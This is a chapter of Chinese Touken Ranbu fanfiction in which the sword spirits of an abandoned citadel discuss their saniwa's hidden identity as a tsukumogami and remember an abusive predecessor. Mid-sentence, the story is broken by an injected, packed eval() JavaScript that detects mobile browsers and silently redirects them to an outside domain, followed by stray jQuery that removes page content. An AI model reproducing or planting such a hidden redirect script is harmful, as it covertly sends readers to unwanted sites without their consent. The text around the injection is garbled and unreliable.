第十八章


    桌面上依次铺陈开西若捡回来的刀剑，在座的刀剑男士们目光闪烁，只在上面克制的扫过，表面毫无破绽，至于私下如何隐忍就不得而知了，审神者运气不错，带回的刀剑里有不少稀有的存在。


    没有注入灵力的刀剑召唤出刀剑男士，现在摆在他们面前的不过是承载着思念的空壳。


    以往在战场上，他们害怕自己看到已经碎刀的同伴本体被带回本丸，在审神者的灵力下现身，毫无保留的向那个失格者献上忠诚，再次被欺骗，被恶劣折磨至碎刀，每每捡到掉落的刀剑都会藏在草丛里，期许会有其他本丸的队伍捡走。


    现在熟悉的刀剑又以一种他们从未设想过的方式被带回来了，审神者可能是无意的，只是把他们带回来，没有想过要召唤新的付丧神，可随之而来的还有审神者隐藏身份的暴露。


    也许藏得不是很从心，不少付丧神回想起西若偶尔表现出的，比起人性，神性更高的淡漠感，超高的侦查能力，对于暗中窥视的目光格外敏感，一抓一个准，原来都是有迹可循的，只是当时他们没有多想，姑且当做审神者足够敏锐——就算再多想也不会想到现任审神者是付丧神这种事吧。


    赤眸打刀漠不关心的收回视线，欣赏指甲上绛红的甲油，一旦想到这是审神者在这几天百忙之中抽空专门给他涂的就想笑，把这辈子难过的事都想了个遍。


    若有人要问他难道不关心新选组其他两位刀剑吗？自然是关心的，加州清光神秘的笑了一下。


    明面上新选组现存他一人，大和守安定还在修复，另外两个早已碎刀，实际上在很久以前，第三代审神者上任，地狱般的日子开始了。


    第三代审神者代号唯，是家中二子，排行老二的位置有些尴尬，上有聪慧过人的大哥，下有卖乖讨喜的幼妹，他没有什么出众的地方，不被重视，在校也是不起眼的存在。


    一朝担任审神者，在现实中完全接触不到的模样俊美的付丧神奉他为主，在一声声“主殿”中迷失自我，不知天地为何物了，尝到了点权利的滋味，觉得能统治他们的自己也是人上人，可惜灵力微薄，又心生恼恨。


    看到别的审神者身边陪侍的稀有刀剑，他也想拥有，不愿浪费灵力在修刀上，一昧的让他们出阵获取资源，探索池田屋的过程中出现了检非违使，带队的是烛台切光忠，太刀不适合室内夜战，这样安排根本不合理，说不上来是不是审神者的恶意，新选组四人都在队伍中，剩下的位置是伊达组的太鼓钟贞宗。


    敌人数量过多，实力也远超他们，这一战损失惨重，大和守安定重伤，堀川国广替和泉守兼定挡下背后砍来的攻击重伤，脆弱的短刀濒临碎刀，队长位的烛台切光忠重伤部队强制回到本丸。


    请求审神者手入的哀求不被理会，手入室内的修复池因为灵力过于稀薄，不起任何作用，堀川国广和大和守安定连实体都无法维持，回归本体沉睡，以此抵御消散，当天和泉守兼定就做出了一个决定。


    他自愿陷入休眠，留下不多的灵力给他们中伤得最轻的加州清光，期许有朝一日会迎来一个足够好的就任者，然后再次醒来。


    “加州，交给你了！”这个实际年龄真要算起来其实是本丸中最小的打刀语气坚定道：“记得要小心保养啊。”甚至还有点臭美。


    于是对外声称新选组除了他以外的刀剑全部碎刀，加州清光就此隐于人后，愈发沉默，等待着那个时机到来。


    太鼓钟贞宗没能撑到第二天，他的兄长龟甲贞宗前往伊达组的部屋仔细拾掇好短刀的碎片，装在一个色彩华丽的小盒子里，没有责备烛台切光忠没照顾好他的弟弟。


    一如他的刀纹白菊般优雅高洁的青年说：“身为刀剑，陨命于战场是理所当然的事，不必介怀。”


    连碎四把刀，本丸气氛变得浮躁，迫于压力，也可能是害怕付丧神们造反，审神者唯勉强为烛台切光忠手入至轻伤，却满怀恶意的不肯全部修复。


    幸好他等到了名为西若的审神者，虽然年纪小，却意外的包容，答应了他修复大和守安定的请求，提出修复和泉守兼定和堀川国广也变得顺理成章，这件事除了他和审神者就只有山姥切国广知道。


    山姥切国广之前是知道碎刀消息的，结果突然得知只是沉睡没有碎刀还大受震撼，但他嘴严不会说漏嘴，而且里面的堀川国广是他的兄弟，兄弟没事他也是很高兴的。


    不过，同为兼定的歌仙可是相信了的，还因此哭了一场。


    歌仙兼定：......


    眼下，摆在桌上的短刀赫然有着太鼓钟贞宗，紧挨着短刀的是一把黑金刀鞘的肋差——物吉贞宗，这是真正意义上的新刃。


    伊达三人组因为太鼓钟贞宗的原因，挨着龟甲贞宗坐在一起，平时也对他照顾良多。


    随性惯了的鹤丸国永率先按捺不住性子，伸出爪子去摸短刀，笑的牙不见眼：“哦哦，是小贞啊！”


    不知道是运气不好，还是其他原因，出阵这么久以来，他们都没见到过一振掉落的太鼓钟贞宗，现下终于看到了，心中难免高兴。


    作为伊达组唯一的短刀，三个年长者向来纵容他，太鼓钟贞宗是很会提供情绪价值的短刀，夸赞烛台切光忠的美食，配合鹤丸国永的恶作剧，禁止大俱利伽罗缩在角落。


    烛台切光忠也伸手去摸，满嘴夸赞：“小贞一如既往的华丽啊！”


    大俱利伽罗：“嗯。”


    三个人在这里当着人家兄长的面，又摸又夸的，加州清光无语地挪了挪地。


    龟甲贞宗戴着白手套的手抚上胸口，发出了意义不明的古怪哼笑：“啊~小贞。”


    差点忘了这位。


    来派的萤丸是比较稀有的刀，身形和短刀相似，不可否认的是他确实是大太刀，混在短刀堆里也分不出来，爱染国俊不是稀有刀剑，被审神者唯送去战场碎刀了，审神者唯也不喜欢明石国行，他懒洋洋的样子让审神者唯觉得被轻视了，莫名其妙的自尊心。


    萤丸抱着爱染国俊和明石国行，稍显沉默。


    大广间的门打开，外面跨进一位黑发郁紫眼睛的短刀，向上首的山姥切国广打了个招呼，迈步靠近粟田口，一期一振左边特意为他留了一个空位。


    浦一坐下乱藤四郎就凑近询问：“......怎么样？”


    药研藤四郎：“已经睡下，检查过了，没有外伤。”


    他如常说道，音量不大，但在座哪个不是耳聪目明的，听到这都稍稍放下了心。


    大广间的桌子是方长桌，上次人员这么齐全还是审神者初上任，这次会也是为了审神者开的，但众人的心情已经全然不一样了。


    主位的山姥切国广左右一看，以手握拳抵在唇边开始发言：“本次会议主题对审神者大人独自出阵，负伤归来做出重要回答。”


    三日月宗近清咳一声提醒道：“是关于身份。”


    山姥切国广：一不小心把心里话说出来了。


    山姥切国广：“本次会议事关审神者大人的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580756|166579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真实身份。”


    “现在，一期一振，你来说。”


    一期一振：“今天第一部队集结出阵时，一个不明人士牵着审神者大人通过时空转换器传送回本丸。”


    见言家·不明人士·一期：？


    当天目击证人之一，鹤丸国永露出惨不忍睹的表情，一期一振你小子浓眉大眼的。


    一期一振面不改色，接着道：“他与审神者大人一定不是第一次见面了，从他所述的话语中，推测审神者大人是去了大阪地下城，具体原因尚未明了。”


    “暂时猜测是想要找什么东西。”


    喉结耸动，一期一振迟疑着艰难补充：“——审神者大人是我们粟田口的孩子。”


    其他被通知来开会不明真相的人：“？！！”


    三日月宗近慢悠悠发问：“一期没有认出审神者大人吗？”


    一期一振苦涩一笑：“记忆都烧毁了，抱歉。”


    沉稳派短刀冷静道：“不，就算是我，寻遍过往的记忆，都没有审神者大人的存在。”


    五虎退和乱藤四郎给出了同样的回答。


    第一次见面护神纸遮挡的面容，到后来露出真实的面孔，哪怕多次见面接触，都没发觉审神者的身份。


    可审神者大人确确实实是归属他们粟田口的，现在所掌握的消息过少，他们只知道除了一个发音的名外，再其他就无从所知了。


    “审神者大人会离开吗？”五虎退冷不丁问道。


    尽管不知道审神者当初是怎么出现在本丸外面的，但这种情况一经发现，势必会引来时之政府的调查。


    以付丧神的身份担任审神者，闻所未闻，还有游走在身上的清正又强大的灵力，独自一人出阵也毫发无损，审神者......是本灵的殿下吧。


    这样的身份，应该在那群同样是本灵的殿下身边生活，而不是待在这座早就被遗弃的本丸。


    髭切笑眯眯的对身侧神情焦躁的膝丸说：“焦虑丸，在想什么？”


    膝丸条件反射般回到：“阿尼甲，我的名字是膝丸！”


    髭切：“嗯嗯，吼丸。”


    膝丸：“都说了是膝丸，阿尼甲！”


    这下膝丸就没心思去想东想西了，成功分散弟弟注意力的髭切微微一笑，深藏功与名。


    弟弟忧郁了怎么办，没关系，逗一逗就好了。


    又一次上演经典曲目，负面的情绪还来不及漫延，就被源氏兄弟打断，沉重的氛围一扫而空。


    理性告诉大家，按照审神者那样的性格一定会留下来，可感性的一面又在担忧审神者抛下他们。


    等审神者醒来，再去向他询问吧，在那之后，一期一振想，他会去找审神者道歉。


    又是昏暗的大阪地下城，西若挥刀斩向最后一个时间溯回军，黑色的灰烬“砰”的炸开，一把刀剑掉落在地，数不清的刀剑堆积在脚下，西若努力翻找许久，依旧没有那把熟悉的刀剑。


    机械性地暴揍每个路过的时间溯回军，时间一天天过去了，刀剑越积越多，一眼望不到头的刀剑里没有他要找的。


    可恶，难道就要这样结束了吗？！


    西若不甘心的朝更深处走去。


    不要小瞧吾辈和兄长的羁绊口牙！


    西若倏地睁开眼，惊魂未定。


    他现在人好好的躺在床上，没有让人绝望地挖不完的地下城。


    西若双眼无神地盯着天花板，兄长大人何时而至，吾辈等得有些心焦了。